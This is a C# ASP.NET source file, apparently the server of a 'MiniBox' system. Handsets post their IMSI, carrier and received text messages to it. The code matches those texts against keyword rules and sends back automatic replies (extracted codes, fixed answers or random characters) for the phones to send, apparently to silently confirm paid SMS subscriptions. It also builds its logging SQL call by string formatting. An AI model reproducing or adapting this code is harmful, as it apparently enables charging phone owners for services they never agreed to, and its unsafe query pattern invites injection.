﻿using System;
using System.Data.Common;
using System.Data;
using System.Collections.Generic;
using System.Text;
using System.Linq;
using Pub.Class;
using GTS.MiniBox.Helper;
using GTS.MiniBox.Entity;

namespace GTS.MiniBox.Page {
    public class receivedsms {
        public string number = string.Empty;
        public string data = string.Empty;
        public string data2 = string.Empty;
        public int state = 0;
    }
    /// <summary>
    /// 二次确认接口
    /// </summary>
    public class Double : System.Web.UI.Page {
        /// <summary>
        /// Page_Load
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        protected void Page_Load(object sender, EventArgs e) {
            //Msg.WriteEnd("555555555,1412321321.111".GetMatchingValue("5555,(.+?)\\.", 5, 1));
            string data = Request2.GetRequestInputStream(Encoding.UTF8);//Encoding.UTF8
            //SiteConfig.WriteLog(data);
            if (data.IsNullEmpty()) { Base.Write(""); } //SiteConfig.WriteLog("非法参数");
            data = data.ReplaceRN().CheckJson();

            #region 基础数据
            string id = data.GetMatchingValue("id=\"(.+?)\"", 4, 1).Trim();
            string origin = data.GetMatchingValue("origin=\"(.+?)\"", 8, 1).Trim();
            string device = data.GetMatchingValue("device=\"(.+?)\"", 8, 1).Trim();
            string compileDate = data.GetMatchingValue("compileDate=\"(.+?)\"", 13, 1).Trim();
            string imsi = data.GetMatchingValue("imsi=\"(.+?)\"", 6, 1).Trim();
            string area = data.GetMatchingValue("area=\"(.+?)\"", 6, 1).Trim();
            int mno = data.GetMatchingValue("operator=\"(.+?)\"", 10, 1).Trim().ToInt(0);
            #endregion

            #region 版本数据
            //<gtsbox origin="948" device="S802Z" compile="2011-04-01"><version major="5" minor="3" reserved="0"></version></gtsbox>
            //版本数据
            string version = string.Empty;
            string versiondata = data.GetMatchingValue("<version(.+?)</version>", 7, 9).Trim();
            if (!string.IsNullOrEmpty(versiondata)) {
                string v1 = versiondata.GetMatchingValue("major=\"(\\d+)\"", 7, 1).Trim();
                string v2 = versiondata.GetMatchingValue("minor=\"(\\d+)\"", 7, 1).Trim();
                string v3 = versiondata.GetMatchingValue("reserved=\"(\\d+)\"", 10, 1).Trim();
                version = string.Format("{0}.{1}.{2}", v1, v2, v3);
            }
            #endregion

            #region receivedsms
            IList<receivedsms> receivedsmsList = new List<receivedsms>();
            IList<string> list = data.GetMatchingValues("<receivedsms(.+?)</receivedsms>", "<r", "</receivedsms>");
            list.Do(p => {
                receivedsms rsms = new receivedsms();
                rsms.number = p.GetMatchingValue("number=\"(.+?)\"", 8, 1).Trim();
                if (!rsms.number.IsNullEmpty() && !rsms.number.IsNumber()) rsms.number = rsms.number.GetMatchingValues("(\\d+)").FirstOrDefault() ?? "";
                rsms.data = p.GetMatchingValue("data=\"(.+?)\">", 6, 2).Trim();
                if (rsms.number.StartsWith("86") || rsms.number.StartsWith("91")) rsms.number = rsms.number.Substring(2);
                if (!rsms.data.IsNullEmpty() && !rsms.number.IsNullEmpty() && rsms.number != "10086") receivedsmsList.Add(rsms);
            });
            if (receivedsmsList.Count == 0) { Base.Write(""); } //SiteConfig.WriteLog("无receivedsms节点:" + data);
            #endregion

            #region 解析二次确认规则
            IList<DoubleParseRule> parseRuleList = DoubleParseRuleHelper.SelectListByAll("ConnString");
            receivedsmsList.Do((p, i) => {
                var ruleList = parseRuleList.Where(r => p.data.IndexOf(r.Keyword) != -1);
                bool isTrue = false;
                foreach (DoubleParseRule rule in ruleList) {
                    switch (rule.Type.Value) {
                        case 1: //需要解析
                            string pass = "";
                            try { pass = HttpHelper.Resove(p.data, rule.Keyword, rule.Seperator); } catch { }
                            if (pass.Trim().IsNullEmpty()) continue;
                            receivedsmsList[i].data2 = pass;
                            receivedsmsList[i].state = 1;
                            isTrue = true;
                            break;
                        case 2: //直接回复
                            if (rule.Seperator.Trim().IsNullEmpty()) continue;
                            receivedsmsList[i].data2 = rule.Seperator;
                            receivedsmsList[i].state = 1;
                            isTrue = true;
                            break;
                        case 3: //回复任意
                            receivedsmsList[i].data2 = Rand.RndCode(1);
                            receivedsmsList[i].state = 1;
                            isTrue = true;
                            break;
                    }
                    if (isTrue) break;
                }
            });
            #endregion

            #region 下行数据
            StringBuilder xml = new StringBuilder();
            StringBuilder sendsmsLog = new StringBuilder();
            receivedsmsList.Do(p => {
                string msgID = Rand.RndGuid().Replace("-", "").Left(31);
                if (p.state == 1) {
                    xml.AppendFormat("<sendsms id=\"{0}\" number=\"{1}\" data=\"{2}\"></sendsms>", msgID, p.number, p.data2);
                }
                sendsmsLog.AppendFormat("`{0}`,`{1}`,`{2}`,`{3}`,{4}|", msgID, p.data, p.number, p.data2, p.state);
            });
            sendsmsLog.RemoveLastChar("|");
            string proc = "box_DoubleLogDown '{0}','{1}','{2}','{3}','{4}','{5}','{6}',{7},'{8}','{9}'".FormatWith(
                origin.SafeSql(), device.SafeSql(), compileDate.SafeSql(), version.SafeSql(),
                sendsmsLog.ToString().SafeSql(), data.SafeSql(), "<down>" + xml.ToString().SafeSql() + "</down>",
                mno, imsi.SafeSql(), area.SafeSql());
            try {
                int count = Data.ExecSql(proc);
            } catch (Exception ex) {
                //SiteConfig.WriteLog(ex);
                SiteConfig.WriteLog("执行错误：" + ex.Message + Environment.NewLine + "* Proc：" + proc);
            }
            Base.SendDoubleDown(xml.ToString());
            #endregion
        }
    }
}
